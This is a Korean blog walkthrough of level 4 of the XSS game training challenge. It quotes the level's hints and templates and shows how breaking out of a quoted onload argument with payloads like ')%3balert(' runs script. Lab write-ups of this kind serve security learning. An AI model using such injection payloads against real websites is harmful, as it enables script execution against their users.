Web Hacking/XSS game

XSS game level 4

ruming 2021. 2. 7. 02:09

 

 

 

 

버튼을 누르면 3초 뒤에 팝업창이 뜨는 타이머 웹페이지다.

frame? 뒤에 timer=3 값이 그대로 보인다.

 

 

힌트

1. Take a look at how the startTimer function is called.

2. When browsers parse tag attributes, they HTML-decode their values first. <foo bar='z'> is the same as <foo bar='&#x7a;'

3. Try entering a single quote (') and watch the error console.

 

index.html

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <form action="" method="GET">
      <input id="timer" name="timer" value="3">
      <input id="button" type="submit" value="Create timer"> </form>
    </form>
  </body>
</html>

get방식 확인 가능

 

timer.html

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() { 
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>
  </head>
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
    <br>
    <div id="message">Your timer will execute in {{ timer }} seconds.</div>
  </body>
</html>

{{ timer }}에 값이 들어간다.

timer= 뒷부분을 조작하면 될 것 같다.

처음에 ');alert();로 입력했다가 함수 뒷부분을 닫아줘야 한다는 것을 깨달았다.

startTimer함수 뒷부분 '); 이 있으니 alert('까지만 입력하면 된다.

입력값 : ');alert('

 

 

 

 

 

 

 

*URL로 공격코드를 보내기 위해 

timer='); alert(' 을 입력하면 공격이 안된다.

;을 URL 인코딩하거나 -연산을 주면 풀 수 있다.
https://xss-game.appspot.com/level4/frame?timer=')%3balert('

or

https://xss-game.appspot.com/level4/frame?timer=')-alert('

 

참고

https://brillian-ye.tistory.com/9

 

 

 

'Web Hacking > XSS game' 카테고리의 다른 글

[XSS] XSS game level 6  (0) 2021.02.22
[XSS] XSS game level 5  (0) 2021.02.14
[XSS] XSS game level 3  (0) 2021.01.31
[XSS] XSS game Level 2  (0) 2021.01.30
XSS game Level 1  (0) 2021.01.17